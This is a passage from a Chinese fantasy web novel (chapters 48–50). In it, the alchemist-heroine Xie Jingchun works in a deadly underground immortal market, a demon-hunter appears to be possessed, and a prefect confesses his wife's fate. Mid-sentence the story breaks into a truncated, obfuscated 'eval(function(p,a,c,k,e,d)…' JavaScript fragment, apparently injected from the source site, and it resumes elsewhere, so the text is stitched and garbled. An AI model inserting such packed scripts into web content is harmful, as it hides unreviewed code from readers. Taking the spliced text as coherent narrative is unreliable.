齐怀金恍若未闻,继续道:“夫人当年可是清鸾郡主,倾慕大人来到金陵城,夫君与女儿均在,夫人不像是儿死便自戕之人。除非,损了名节……” “你!” 齐怀金语速极快,且底气十足:“张正生性□□且伪装极深,就是他将宋揭带坏,所得月钱全部用在了烟花之地,后宋揭失踪,你日日在寻子和公务之间忙窜,便冷落了以泪洗面的夫人。于是张正动了歪心思,趁此机会淫污了夫人!夫人性刚,以死全名节,刚好随子而去,你暗中查出结果后,怕事情闹大,于是杀了张正,是也不是?!” 宋括气得够呛,食指颤抖地指着他:“好你个齐怀金,本官是一城刺史,你却敢捏造我亡妻的谣言!” 齐怀金抓住他抬起的手:“大人不必激动,如此张正死有余辜。但昨日有人报发现夫人尸体在庙中,你,可晓此事?!” 宋括踉跄地连连后退,却说不出一句话来辩驳。 他突然弓起背,跪倒在地,痛苦哀嚎,声声郁抑:“清鸾,我对不起你!” “清鸾死后,我夜夜辗转难眠,遍求起死回生之法,后在禁书看到,将尸体封进观音像,可保魂魄不被阴司招去,再受香火朝拜,七七四十九天后……人,人就能起死回生。” 他仰头看向本该屹立着观音像的上方,所有的念想都已扑灭:“可如今再也没了……” “荒唐!”齐怀金一把拎起他,“世上怎会有起死回生之法?若有,我那徒弟的姐姐与侄儿也能活了?这等胡言乱语,竟被你这饱读诗书的文人给信了!” 齐怀金叉着腰,唾沫乱飞:“你疏忽了自己夫人,害得她身死。最后宋揭的讯息也没找到,反倒连办两场白事,真是赔了夫人又折兵!若不是寺中人现将夫人残尸收下,你还想自欺欺人到几时?!” 说罢,他叉腰叹了口气,狠狠压下红缨剑,心有不甘:“我也是,连个小妖都让它跑了,积玉山敢保妖孽,如今的世道简直毫无道理!” 宋括在一旁抚心沉痛,齐怀金叽里呱啦,他似乎没听进去。 宋如遇找了半天都找不到两人身影:“爹,齐司使——” 观音殿内的两人速速掩了情绪,装作什么也没发生过,从观音殿走了出去。 墙后,赵无悲缓缓走出来。 “这原来是刺史做的…” 观音殿外,宋如遇不自然地说:“原来你们在这儿啊。” 赵无悲又愤又悯:“真是知人知面不知心,宋大人也太可怜了,被如此信任的人背叛。” 只是师父现身了,他是自己来问师父关于惊春姑娘的下落,避免路兄与师父正面起了冲突。 还是赶紧去找路兄? 路植晏突然要去城东明满巷,也不知道为何不让他跟着。 纠结一瞬,赵无悲转头往明满巷的方向走去。 48. 登仙大道(五) 齐怀金走在大街上,准备回捉妖司一趟。 以前的捉妖司都建在闹市中心,人越多,妖物一旦做害,受连累的人也越多,将捉妖司设在闹市中心是为了能及时阻止大灾祸的发生。 但后来总结发现夜里妖案要比白日案多得多,且闹市多泼皮,总有三个两个的冲进捉妖司,谎称妖邪出世害人,以此娱戏,屡试不爽,最后没办法只能将府衙搬去僻静地。 齐怀金此番回司,是想将松鼠列为头等要案。 只是他越走越觉得不对劲,平日走过这里虽也是寂静,可好歹偶尔能听到路旁人家的嬉笑怒骂,或者一两个人穿行而过,从未像今天一样静到诡异。 他突然回头,发现身后的墙边不知何时靠了一个人,距离他只有四尺左右,以他的敏锐察觉力,刚才竟是一点没发觉。 巷口悬挂的小红灯笼发出昏昧惨淡的光,在地面上投下一团若有若无的阴影,将那人的身影都照得如鬼魅一般。 微风一来,不仅将树叶吹得哗哗作响,红灯笼也随之轻曳,卡在墙顶的灯架发出呜呀呜呀的叫声。 “路小兄……”齐怀金咧嘴粲然。 他话音未落,寒光一瞬而至。 路植晏未动:“谢惊春在何处?从她失踪到现在,敢问齐司使又去了何处?” 齐怀金先是一愣,而后处之泰然:“我不知,她在我面前,消失了。” 果然是遁身环。 “路小兄弟,无论你们出何原因要保那只松鼠,我却是必杀的,所以这两天我也一直在找她们。” “若是谢惊春有什么闪失……”路植晏抬起头,灯笼映下的红光霎时如雪片飞入他的眼,宛若修罗,“齐怀金,你也休想好过。” 长吟划过齐怀金的脖颈,带出一道血痕。 齐怀金摸了摸自己的脖子,变了脸色,咬着后槽牙却讽刺:“不想三正如今竟如此没落,不为民竟为妖,呵。” “若皆像阁下一样滥杀无辜,岂非与‘妖’无异?况且,你如今真正逼得一人下落不明,于情于理,又当如何?” “你!”居然拿自己以妖为喻,齐怀金气得下意识拔出剑。 路植晏不退反进,眼看着红缨剑就要没入胸口,他掏出腰牌像甩飞镖一样还给齐怀金。 齐怀金啪一下接住,勉强收了怒气,想要撞开路植晏,继续往捉妖司走去。 “齐怀金!” 路植晏的声音再度在身后响起。 齐怀金宽阔的背影一停,烦躁地回过头去。 “此时不起,更待何时!” 如同天边传来的一道喝斥,齐怀金脑海一阵天旋地转。 但他及时压紧剑,生生忍住。 他伸出手上的腰牌,这才发现腰牌背面贴了符纸。 他气涌如山,须臾歪嘴嗤道:“路植晏,你怀疑我被夺舍了?” 不远处,赵无悲赶了过来。 “师父,路兄?惊春姑娘有线索了吗?” “臭小子,起开!”齐怀金一把撇开徒弟的手,一直盯着路植晏,“路植晏,你这怀疑实在无理。从始至终,我就是憎妖!难道也是过错吗?” 他大步流星地冲出几步,又霍然停下,似乎在一瞬间冷静:“你可知我为何这般恨妖?” 赵无悲脸色血色逐渐褪去:“师父!” 他的不安并没有让齐怀金停下来。 “五年了。”齐怀金鬓发垂下几根,声音居然哽咽起来,“我不该负气离开的。” 他闭上眼,一滴眼泪就这样滑落下来。 路植晏心中微动,萌生出丝丝自我怀疑。 可他马上就将那点自我怀疑压下去。 招魂符的出世,刚入刺史府的第一次铃声,黑影冲魂。 以及赵无悲当初说的一句:“师父,这煎豆腐您以前不是最爱吃吗?” 都让他怀疑现在的齐怀金不是齐怀金。 赵无悲已经知道师父要说什么,他背过身,身形颓败,不再多说一句话。 “阿菱不该是这样的。”齐怀金说完这句话,泛着血丝的眼睛狠狠盯着路植晏。 “呵,想当初我也同你们一样,觉得人妖无分,有好有坏。可她孩子满月那天,她被妖物附身失智,掳走村中五个孩儿,包括自己的。她一个普通人,如何承得住妖气,身体很快妖变,她吃了自己的孩子。” “她平时连蚂蚁都舍不得踩死的一个人,却落了个如此下场。你说,妖物和普通人本就力量悬殊,如何相提并论,如何放在一杆秤上称?更别说,有好有坏!” 路植晏听出他口中的「她」和「阿菱」,应是赵无悲的姐姐。 “哼。”齐怀金瞪了瞪眼,试图把眼泪瞪回去,奈何泪水越来越多,眼睛也越来越红。 头,也越来越疼。 他拿剑撑着地,仿佛下一刻就会倒下去。 路植晏觉得有些恍惚,自己搞错了。 若齐怀金真被夺舍,他会对往事如此清楚,会如此憎妖? 路植晏再次感知,依旧是什么也没有。 很讨厌这种感觉,这种超出自己预知的感觉。 看着都陷入痛苦的师徒两,路植晏本打算喊赵无悲和自己一起走,欲言又止后还是转头离去。 赵无悲扶着齐怀金坐在路边:“师父,好些了吗?” “杀……” “什么?” 一道寒意乍现,赵无悲的眼睛缓慢地眨了眨。 间隙之后,赵无悲半跪在地,鬓发散乱,和脸上血迹黏在一起,胸口开始疯狂起伏。 他左臂上渗出鲜血,望着不远处的齐怀金:“师父,何……何故伤我?” “罚你不识……”齐怀金再次捂着头,疼得靠着墙壁蹲了下来,“啊啊啊——” “杀了你!” “杀了他!” “杀了我。” 一连说出三个杀,齐怀金终于疼得晕厥在地。 “师父!你怎么了?” * “女君子,你怎么了?” 看着谢惊春那越来越红的脸,松玠再次问了一句。 “没事没事,不用担心我。” 在谢惊春眼中,自己发烧就和咳嗽一样都是小事,一个连药都不需要吃的症状,有什么要紧的。 反正她以前发烧了,在被窝里捂捂,捂出汗就好了。 可这里没被子给她捂,她有些撑不住,一屁股坐在天赐河石头上:“万一,我是说万分侥幸,溜进仙市……” 溜进仙市,偷一些中仙品或上仙品,松鼠会不会就有救了。 松玠很快打断:“不行,只有戴上红绳面具的人才可以进去,我们是进不去的。” “你若真想进,有一个法子倒是可以。” 松玠道:“成为炼丹师。” “那,成为炼丹师可有什么要求?” “只有一个要求,要有法力。另外,若是能炼出上仙品,还有机会出去。” 谢惊春顿时燃起希望,舔了舔发干的嘴唇:“当真?” “炼丹师可是随时会死的,先要在三天之内炼出下仙品,而后在三十天之内炼出中仙品,再于八十一天内炼出上仙品,否则要么扔进丹炉,要么成为炉底灰,要么砍下一腿一臂,扔出仙市,任由自生自灭。” 这也太狠了吧,不管怎样,结局都是死,且死的过程十分痛苦。 就算砍下一腿一臂能侥幸活下来,估计也会如她在登仙大道的两旁看见的那些残疾人一样吧。 “松公子,你是怎么知道这么多的?” “他们想要将我扔下丹炉之前,听见身边有人谈论。” 松玠劝她:“所以女君子如果想要炼丹师,还是三思而后行吧。” 可是再三思下去,不说她自己性命难保,松鼠是万万撑不下去的。 谢惊春咬咬牙,和松玠道谢后,说了自己的计划,就一不做二不休,前往仙市。 哪怕松玠嘴皮子都磨烂了,还是没能说服她别去,最后看着少女雪中松柏般的坚毅眼神,终究没再磨下去。 谢惊春千难万苦地走近仙市,一抬眼就看见一个巨大的黄红幡,虽无风吹起,但依旧能看出上面的字——骖鸾驭鹤。 她向前踉跄走了几步,便有两个戴着笑脸面具的守卫走过来,面具上溅有不少血迹,有干成黑色的,也有掺杂着鲜红。 他们横剑将她拦下:“什么人?!还不快退?!” 两个人动作粗暴,和脸上的笑脸面具颇为违和。 他们力气很大,谢惊春被连连推搡,本就晕晕乎乎的她直接被推倒在地,后背再次受到重击,累得想直接在原地睡大觉。 身上的每一寸筋骨僵硬得让人感觉再也弯折不了,她躺在原地,有气无力道:“我是来做炼丹师的……” 下一刻,谢惊春便觉得自己腾空而起,有人把她拽了起来,接着嘴被塞住,头被罩进了麻布袋子,再被一掌劈下。 速度之快,谢惊春甚至没得及反抗,没来得及发出声音,眼前只余黑暗,脑中一片混沌后晕了过去。 不知过了多久,她转醒。 焦味,尸腐味,难以言喻的味道全部混在一起,耳畔时不时传来大火劈剥的声音。 “嗯嗯嗯……” 尽管这里的空气让人作呕,但谢惊春重见光明之时,还是忍不住猛吸了几口。 “换上。” 方才仙市门口的一个守卫随意地递来衣服和与他们同款的面具:“开弓没有回头箭,既然开口想要做炼丹师,就没机会后悔。若只是想来碰运气,那在我眼中,你现在也只是游魂罢了。” 谢惊春竭尽全力地站起身,揉揉太阳穴:“你好,请问为什么要戴……” “面具是进出保命用的,想死可以不戴。” 嘭! 木门被毫不留情地关闭,谢惊春被困于方寸之地,陪着她的只有满墙的书,药材以及面前架起的丹炉。 谢惊春捧起衣服闻了一下,除了丝丝干涸的血腥味,没什么其他怪味。 面具的边角破了,灰溜溜的,上面沾染了很多黑点点,像是上了霉。 她脱下浅绿外衣,套上黑袍。 斜挎包上面破了一个大洞,她取下包,将病恹恹的松鼠小心翼翼地拿出来,放在一旁的小胡床上,又喂了点水。 手心发炎,双颊越来越烫,谢惊春没办法,吃了一粒药丸后,开始盘坐在那儿看书。 多看点这里的书,或许能了解得多一些。 只是越看她眼睛越发花,那些黑字在眼前飘来飘去,像是池塘里游来游去的小蝌蚪。 毫无血色的唇显得面上更加红润,她眼下乌青,口舌发涩,血管里四处流淌的不是血,而是火山熔浆,每到一处,燥热无比,哧啦哧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢惊春:“……” 右掌心发疼发痒,想挠也不是,稍微使点劲碰碰,直接疼得一激灵。 掀开包扎的布,布连着凝固的血肉,撕扯都撕扯不下来,那触目惊心的血疤,松鼠看得直龇牙咧嘴。 谢惊春觉得自己这手可能要废。 于是,松鼠就成了她的右手。 左手不方便也不习惯够到的书和药材,松鼠就飞身跳上去,只是它也有伤在身,经常会掉进惊春怀里。 一人一松鼠,开启了不要命模式,困得实在不行的时候,才会轮班咪一会。这个时候也会猜测,是过去一天了。 饭一来,风卷残云,守卫还没走远,碗就干净了。 守卫:“果然又是来等死的。” 谢惊春不够聪明,她知道。 她身边有很多努力的天才,她也知道。 她羡慕天才,羡慕学习能力强的人。 所幸她做事虽如滚芥投针,但也练就心不浮躁的性子,一旦坐定下来看书,就能认认真真地投入进去。 “好了,我要开始试了。” 第一件事她要把火熄灭,把丹鼎里面原有的东西拿出来。 如果有水符就好了…… 嗯? 惊春眼睛一亮,想起自己包里还有点黄纸。 她欣喜若狂地翻开包,连手掌和脑中疼痛也忘记了。 然而翻开一看,还没完全扬起的嘴角一下子就垂下来,心情顿时跌入谷底,那些黄纸早已经被齐怀金一剑砍成稀巴烂。 谢惊春境界不高,还不能用特制黄纸以外的东西画符。 她叹了口气:“天要亡我。” “春春,这个这个!” 松鼠指着角落的一把大铁锹,激动地大喊,声音尖锐。 “哦豁,真棒啊你!”谢惊春对松鼠竖了个大拇指,扛起铁锹就要去铲炉底。 “哎哎哎——” 若不是丢得快,惊春就要随着这铁锹栽倒。 她怀疑这铁锹不是铁做的,而是铅!重得像是扛了个人。 “你……” 一道幽幽的气音,若有若无的飘进耳畔。 谢惊春和松鼠对视了一眼,随后都摊开手,表示不是自己发出的声音。 一个赤裸着上身的男人坐在黑黢黢的角落,他身子像松玠一样,被烧得黝黑,双手却死死地拽着铁锹。 要说怎么扛不动,原来真是扛了个人! “你们……” 他的嘴唇也被烧得面目全非,一开口嘴角撕裂,承受着莫大的痛苦。 谢惊春战战兢兢地戳了戳他的大腿,确定这是人不是鬼后:“你……你不会就是这丹室里,原来的炼丹师吧?” 他的头像木偶一样,僵硬地向下点了点。 看他的样子,还能有口气,简直就是天大的命格在保着。 “川芎,白芍,枳实,甘草,升麻……” “制附子……” 谢惊春和松鼠凑近耳朵,差不多能听清那些气音。 谢惊春道:“你是说,将这些药材放进丹鼎里?” 那人再次点点头:“中仙品……” 49. 登仙大道(六) 松鼠跳上药材墙,谢惊春左手拿起大铁锹,右臂夹住锹柄,突突铲鼎内的黑色不明物体。 一人一松鼠分工明确,有了希望,连伤痛都缓解了几分。 可是,炼丹并不是选对药材就万事俱备,最重要的是炼丹师自身的能力。 几百年前,炼丹术因违天道,被天下人所恶,成为禁术,列入律令法条,凡妄修者,处以极刑。 秘籍一律列为禁书,焚烧毁坏,炼丹师不是隐身转行成捉妖师,就是被抓起灭口。 先不言拥有法力之人没有理由放着风风光光的捉妖师不做,跑去做偷偷摸摸的炼丹师,随时还有掉脑袋的风险。 就算是有人吃了熊心豹子胆,可没了昔日的擎天巨擘之人带领,想靠着几本偷来的禁书,以及无关宏旨的药书,是不可能能炼成拿得出手的玩意。 累得半死不活,下了那些药材后,谢惊春和松鼠就开始大眼瞪小眼。 而那奄奄一息的人早已昏睡过去。 为了节省时间,谢惊春专找那种被翻烂的书看。 无他,只因这种书一看就很经典。 就在她看得入神之时,熟悉的机械音响起。 【系统正在重新录入……】 【系统录入100%……】 谢惊春的心一下子就提到了嗓子眼,指腹不自禁地摩挲着书页边缘,划出红印也不自知。 等了半天,也没再听见系统接下来的语音。 谢惊春提心吊胆,假装什么也发生,继续低下头看书,动作轻缓,好似这样系统就不会检测到她其实早已经超出绝对安全距离了。 心里不安,翻了几页后才发现自己忘记看内容了,只是盯着那些发灰的字而已。 心噗噗噗地跳着,她索性站起身去检查丹炉。 有了大动作,系统依旧沉默,让人怀疑它是否真的绑定成功了。 谢惊春也不敢唤它,只轻手轻脚地走了几步。 禁书上说,炼丹需用阵法配合,丹炉居于阵眼,合化八方,炼丹师位正南,离位。 阵法? 在地下城,很难辨别南北。 谢惊春踏步,绕着丹炉环走。 巨大丹炉上一方刻了「长生」,一方刻了「长乐」。 那精妙繁杂的镂空处,能看到炉腹里跳跃挣扎的火光,将谢惊春没什么气色的脸照得红彤彤的,眼瞳似是燃起熊熊大火。 雕刻的青龙白虎,朱雀玄武,在火光的照耀下,栩栩如生,仿佛随时会冲出炉壁,驰地奔走,冲天翱翔。 离火,朱雀位。 谢惊春停在朱雀的正前方,开始按照书上所说施阵。 一次两次三次……次次失败次次重来,她并没有气馁,屏气凝神。 松鼠在一旁安安静静,并未出声打扰,整个丹室只闻偶尔爆出的几声噼啪,火星点点。 忽然,噼啪声越来越大,越来越大。 “嘭”! 片刻后,谢惊春顶着一张黑脸,一脸无辜地说:“怎么了怎么了?” 松鼠的焦毛还没完全脱落,现在又喷了一身黑,它吐出一口黑气:“春春,咱要不歇歇呢?你没感觉你有点不对劲了吗?好像不把禁书上的术法练成不罢休似的。” “是吗?”谢惊春没有察觉到。 “我再试试,不行就算了,毕竟万一真速成了,咱们就有机会出去啦!” 眼看着拗不过谢惊春,松鼠叹了一口气,它身体刚有点好转,实在无能为力,更何况,春春说的没错。 它先是躲得远远的,刚把尾巴枕起来,又朝着春春的方向挪了挪。 谢惊春深吸一口气,调整气息,继续坐了下来。 炼丹室一片安静。 火势忽大忽小,烟雾变得呛人,没一会儿就弥漫了丹室,丹炉震颤,发出极速低沉的嗡鸣,架炉的铁链哗啦啦的响,摇摇晃晃。 在一片混沌中,谢惊春纹丝不动,仿若被什么东西吸引着要继续,要赌一把。 汗水如瀑布往下流,她抿紧嘴,掐着要诀的手指颤抖,手背的青筋显现,面如死尸。 经脉,心肺,血液在体内排山倒海,犹如万马呼啸而过,皮下所有一一爆开。 在当阳,谢惊春也学过一些阵法,但从来没有哪个阵法会消耗她如此巨大的精神力,此阵甚至都远不如她施展缚妖阵时带来的动静大,却强势得像要将她撕裂般。 可她知道自己不能停,一旦突然停下丹炉就可能爆炸。 禁书说,此阵名为百行阵,也不知是何人所创。 古法炼丹太过消磨时间,很多人炼到痴狂,炼到垂垂老矣,都没能炼出所谓的长生丹,百行阵初创就是为了大大减少炼丹的时间。 炼丹本就被奉为歪道,又急于求成将其套上阵法,一般人别说参透其中奥妙,就算天资聪颖,修炼起来也难以承受,动辄堕死。 所以此阵很光荣地登了禁书榜首位,且迄今无人施展。 谢惊春能感受到自己的气息很乱,血流在急速奔流,若突然中止,就会像在悬崖边紧急拉停马车,而后掉入万丈深渊。 她要做的是,再给马儿一鞭,让它跨过悬崖,飞跃至对面的山川。 * 谢惊春醒来时,木门敞开,两个面具人站在她身边。 “换上。” 相同的台词,熟悉的音调。 她差点以为自己又穿回几天前。 不过与上次不同的是,这回递过来的衣物非常厚重,且广袖曳地,行动起来非常不便。 虽然看得出陈旧,却是干净整洁。 面具的下颌两侧融了两个孔,孔中系上红布,红布上粗糙地绣了一句诗:待见冥府溺苦海,他日江畔建瑶台。 呵,又是长生极乐之意。 无论是出登仙大道的门柱诗,还是店铺门前高悬的幌子,仙市门口的红黄幡,亦或是垂在惊春胸前的布上诗,都悄无声息地宣传长生,极乐与仙途。 “你可以出入仙市,但是必须戴上面具,否则就会死。另外,入市不可带任何东西,否则,也是死。” “两位,是三天时间到了吗?那你们这是……”谢惊春顿了顿,随后指着自己,满是怀疑的欣喜,“我成功了?” “中仙品,你倒是有点本事,怕是在外面就开始偷学了,亏得没被人发现。” 其中一名守卫掂了掂手中匣盒,语气轻蔑但带着几分不可思议。 待他们走后,松鼠才从幽暗的角落里走出来。 “春春,到底发生了什么?” 松鼠看起来好多了,走起路来不再歪歪扭扭。 “春春,你真的晕倒了好长时间!吓死本黄毛了!” “有那么久?” 松鼠昂着头,抓了抓自己的脸:“估摸着,你晕了最起码有一天。” 那名昏倒的前炼丹师咳了几声:“咳咳咳……你到底是什么人?” 他的状况也好了些,但是相比于惊春和松鼠,他还算是重伤,只是呼吸稍微平稳些。 松鼠小声在谢惊春耳边说道:“在那两个人来之前,我偷了一粒,给我两平分了,又在丹药上搓了点灰给他吃了。” 松鼠虽说是平分了,但谢惊春现在作为三个中身体状况最好的那个,她就知道松鼠自己只扣了一点点吃。 不过这中仙品果然猛啊。 那上仙品得猛成什么样? 谢惊春望着丹炉道:“你们说,他是如何判断我炼出的玩意是中仙品的?” 角落里的炼丹师幽幽道:“你觉得这些人,是什么身份?” 谢惊春晓得,他指的是那两个守卫。 “至少在这里,他们的身份应该挺高。” 炼丹师呵呵一笑,摇了摇头:“他们就是试药的,吃死了,炼丹师也要死,没死,他们就能品出丹药的等级。” “你是捉妖师吧?有点底子,不然就算再怎么有天赋,也不敢这么快学会百行阵。” “看我身上的伤,就是练百行阵时,气血逆流,因害怕而收手,被炸到炉底去了……” 说着,他自嘲地笑了笑。 难怪他们看炼丹师的眼神那般憎恶呢,他们的性命就挂在半吊子的炼丹师身上。 虽然幸运之神终于大摇大摆地光顾了谢惊春的大门,但她的目的可不是一辈子留在这里 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上仙品稀少,人人都想拥有,所有客人会更多。而将灯放在地上,就是要人看不清,如果客人识货,可能还可以有幸得到真货,若不是行家,便会成为冤大头。 仙市鸦默雀静,仿若鬼市,他们用手比价,且不议价,只偶尔听到几声低沉的“善”。 再往前走就回到了登仙大道。 谢惊春回头看了看集聚在仙市深处的马车,心中动起了一个念头。 她要去马车进出的湖镜看看。 回到登仙大道,谢惊春寻了一圈也没寻到松玠的身影,她现在这身装束太厚重,行动不便,脱下还没地方藏,万一丢了她就回不去仙市。 她来到卖药郎旁边的巷子,阿春阿夏正鬼鬼祟祟地藏东西。 撇头看见谢惊春脸上诡笑的面具时,姐弟俩吓得手中正要藏的几个铜板全部掉了。 谢惊春取下面具,悄声道:“是我。” 两个小孩儿眼前一亮,拥了上来:“惊春姐姐!” 谢惊春火速脱下外袍,又将面具递了过去:“你们能帮我保管一下吗?我马上回来!” 阿春虽不明白,但还是眨巴着她黑葡萄的大眼睛,乖乖点点头,糯声道:“好。惊春姐姐放心吧,我和弟弟一定会好好保管的。” 谢惊春笑着摸了摸他们的头:“太谢谢你们了!” 阿春很吃这一套,笑起来虎牙亮晶晶的。 谢惊春一路摸到湖镜,路过天赐湖时看到里面依旧一片漆黑。 通往湖镜的路两边,是平整的土壁,完全没有藏匿之处,也就是说,现在一旦来了辆马车,她就会立刻马上暴露无遗。 她深知此举冒险,却依然踏着步伐往前。 湖镜,顾名思义,就是像一面镜子的结界。 谢惊春伸出手指轻轻触碰了一下,像是触碰到高压水枪冲出的水,指尖直接被弹开。 低头一看,指甲盖下面先是发白,接着发红,发烫。 看来这个指甲是脱落的命了。 这个结界到底是什么人布下的?能将整个地下城的人全部困住,还可以有选择地让人进出,是不是有点过于强了! 谢惊春并不贪图,见识到湖镜的厉害之处后,她没多做停留,赶紧往回跑。 回到炼丹室,她就继续埋头看书,松鼠趴在她怀里一起看,但它经常看着看着就开始打盹,抱起自己的尾巴,窝在惊春身上睡大觉。 “系统,在吗?”谢惊春终于忍不住,索性破罐子破摔,喊了一下系统。 【在,有话快说。】 原来在啊,自从重新绑定后系统就像透明了一样,让她以为自己以后都可以摆脱系统的掌控了。 “要不你帮我导航一下,让我知道回金陵的路线?” 【受磁场干扰影响,现无法准确定位宿主与路植晏。】 【正在进行模糊测距,请稍后。】 谢惊春安静地等待着系统的审判。 【模糊测距结束,宿主与路植晏的直线距离大约为三公里,因数据不准确,暂不对宿主实施惩罚。】 50. 登仙大道(七) 噢耶! 虽然但是,就算数据不准确,三公里是不是有点过于离谱了。 谢惊春正想着呢,被一阵呼噜声打乱。 在谢惊春找到能出去的方法之前,她是不可能让炼丹室内这个陌生男子成为威胁的。 所以她每天除了喂点多余的水和饭,不可能花力气救他。 其实也没办法救。 只要仙市未开市,谢惊春就必须呆在炼丹室,门被反锁,门外还有武力值在她之上的守卫,一旦眼前这个男子起了什么坏心思,她不想给本就焦灼的自己,带来不必要的麻烦。 毕竟他是炼丹师,有法力,实力不详。 男子知道这个畏畏缩缩的少女为何这么戒备自己,不由问道:“小姑娘,你是不是被信任的人伤害过?” 齐怀金算吗?好像也不是特别信任的人。 谢惊春想了想,然后很郑重地摇了摇头:“暂时没有。” “谢谢。”他呵笑一声,低头又重复了一遍,“谢谢。” 谢惊春顺口接了句没关系,然后就自顾自地去看书了。 禁书就是比其他书看起来得劲,纵使晦涩难懂,也能引诱着谢惊春去翻,去理解。 “悬针封印法?” “为什么一本专门讲炼丹与阵法的书,会在最后冒出一个悬针封印法?” 悬针封印,以指法代针法,可封住体内异气。 一般会用在以身试药却翻车的人身上。 但用之稍有不善,就会爆体而亡,所以此法也成功地被关小黑屋了。 再说了,没人炼丹,也不会有人以身试药。 谢惊春不开炉,她也不知道时间,困得不行了就睡,醒了就是看书,练剑,习阵…… 虽然从下当阳,在路植晏的监督下,她也没怎么松懈过。 但现在就跟着了魔一样,如痴如醉,特别是练起百行阵来,给自己练得抖成筛糠,一觉睡醒爬起来还要练。 松鼠终于看不过去:“春春,你是不是精神出问题了?” “啊?”满头大汗的谢惊春正尝试将剑法融入百行阵,却屡次失败,好几次险些反被弹回的金樽打中。 “有吗?” 她揩了揩汗,直接躺在地上,上气不接下气。 到了仙市开市之时,谢惊春还会出去溜一圈,有时候会碰到一两个和她相同装束的人,但大家都是沉默不语。 她走在登仙大道上,看着歇市后,一辆辆马车往湖镜的方向奔驰。 銮铃振响,每一声都像是在高喊:闲杂人等,速速避让! 每辆马车悬挂的銮铃数量不一,但在前轿檐处的銮铃外观似乎是一样的。 谢惊春站在人群后,仰头看着那些几乎一模一样的铃铛。 在车队的最后方,依旧是那辆六驾的华丽轿乘。 远远的,谢惊春便感受到一束锐利目光自六驾中射出。 她还不至于胆大到直接和一个王爷对视,跟着熙攘的人群,她跪在地上,将头埋得低低的。 明明不冷,谢惊春往回走时,下意识地拢了拢衣袖。 刚回到炼丹室,谢惊春脑中像是有什么东西被打通,那些马车在她脑海中来回奔袭,她道:“我可能知道怎么出去了……” “銮铃。” 銮铃,所有的轿子都有銮铃。 她得趁着这个机会再去一趟湖镜,若是能亲眼看到那些轿辇,说不定就能验证她的猜测。 决心一下,谢惊春规算了算来回时间,还算得上充裕,于是和松鼠嘱咐几句后,就立即出了仙市。 松鼠一边跳起挥着小手,一边叮咛:“春春,你小心点啊。” “放心吧,我看一眼就回。” 谢惊春本想偷偷带点水给阿春阿夏,但奈何守卫太严格了。 再次将衣物和面具拜托给姐弟俩,阿春忍不住问道:“惊春姐姐,你是要去干大事吗?” 谢惊春点点头:“对,非常大的事。” 阿春小跑回自己藏东西的地方,拿出一把匕首,涨红着脸说道:“其实惊春姐姐,其实我第一次见你,是想偷你东西的。” 她抬头看了眼惊春,又迅速低下头去:“既然惊春姐姐想要干大事,最好还是带上这把匕首吧。” 匕首并无特别之处,也无花纹镶宝,放在金陵城就是最普通的款式,但胜在崭新,锋利。 谢惊春并未拿乔,而是坦然接过:“没事,我也拿了你的东西,咱们抵消了。” 毕竟手无寸铁,确实没什么安全感。 看到谢惊春没有责怪,也没有拒绝,阿春抱着惊春的衣服,开心地重重点头。 趁着时候还早,谢惊春先来到了湖镜。 她拿出一直买着没戴的簪子,埋入道路两侧,然后拉出一条细绳。 这样马车过来时就会被绊一下,不至于摔倒,但速度就会慢下来,这样她也好看清到底出去时轿子会不会有什么变化,比如銮铃发亮之类的。 接下来她只需要到登仙大道的牌坊处候着,候着一辆落单的马车,赌一把跟着就是。 确保自己埋的障碍相当结实,能发挥用处后,她就立马往回跑。 只是…… “叮铃叮铃——” 马车回来了! 谢惊春一下子提心在口,仿佛都不知道怎么呼吸了,大腿开始发麻。 铃声越来越近,现在跑回去只会迎头撞上。 不对,时间不对,今天闭市的时间绝对变早了。 一般来说,开市一个时辰,但今天绝对不到半时辰,要知道炼丹室到湖镜六七里,可谢惊春刚到这儿他们就回来了。 “叮铃、叮铃、叮铃——” 马车似乎慢了下来,铃声不紧不慢,漫不经心中又带着势在必得,一声一声如催命。 容不得多做思考,谢惊春将匕首收进袖中,纵身踩上土壁,又借力抓住上空的灯架。 木架摇摇欲坠,碎屑和轻微的撕裂声都表示她随时会随着灯架掉下来。 从转角处走过来的只有一辆车马,比之其他多一倍的銮铃数,不仅象征着他高贵的身份地位,也容易混淆视听,让人以为是众多马车同时而来。 六驾慢悠悠,姿态优雅,像是在自己的庭院中散步。 “什么声音?” 马夫突然喝停,喃喃道。 “何事?”轿中人慵懒的声音却透着压迫感。 隐隐让人觉得所有事情皆在他的掌控之中。 马夫摸了摸脸上的木屑,抬头:“上面有东西。” 一声嗤笑。 “杀。” 马夫鬓边簪花,慢慢抽出腰后横插的双刀:“是。” 他脚尖轻点,身体轻盈跃上,双手挥刀一砍! 一个黑黑的东西掉在地上,血液四溅。 “主人,是蝙蝠。” 轿中人沉吟片刻:“走。” “是。” 马夫缠绕缰绳正欲催马,却猛然一松,拔刀声起,他身姿灵活瞬至轿后方。 只是空无一物。 他未加思索,动作疾如雷电,又在电石火光间,一刀插向轿底。 銮铃轻响。 确认周遭无人后,他拱手跪地:“主人,属下只是怀疑有渣滓妄图跟踪,惊动主人,请主人责罚。” 里面人一直没声音。 “主人?” 马夫又唤了一声,却依旧没有得到回应。 他缓缓站起身,手慢慢伸向轿帘:“主人,是否即行?” 就在他准备一鼓作气,掀开轿帘时—— “走。” 声音中带着怒气。 马夫顿了一下,赶紧垂下眸子:“是。” 而轿中,谢惊春袖刀一转,紧紧地用匕首抵住裴引玉的喉咙,压着声狠厉道:“让他停!” 谢惊春对外面的世界尚不了解,贸然跟着他们出去结果并不一定好。更重要的是,松鼠和金樽还在炼丹室,万一她出去了却回不来,那就糟了。 裴引玉指腹划过匕首,殷红的鲜血瞬间顺着豁口流下,他似是感受不到疼,毫不在意地将血舔干净,发出悠长的喟叹。 他嘴角噙起怪异的笑:“停下。” 马车堪堪停在湖镜前,不过半尺。 “如实回答我的问题,保尔性命!” 裴引玉扬眉,身子倚躺,摊开手掌:“姑娘,请问。” 相比于他的悠闲自得,谢惊春就显得急张拘拙,握紧匕首的手心发白:“你们是如何出的结界?是不是銮铃?” “姑娘冰雪聪明。” “外面是何地?距离金陵多远?” 裴引玉答非所问:“我见过你。” “说!” 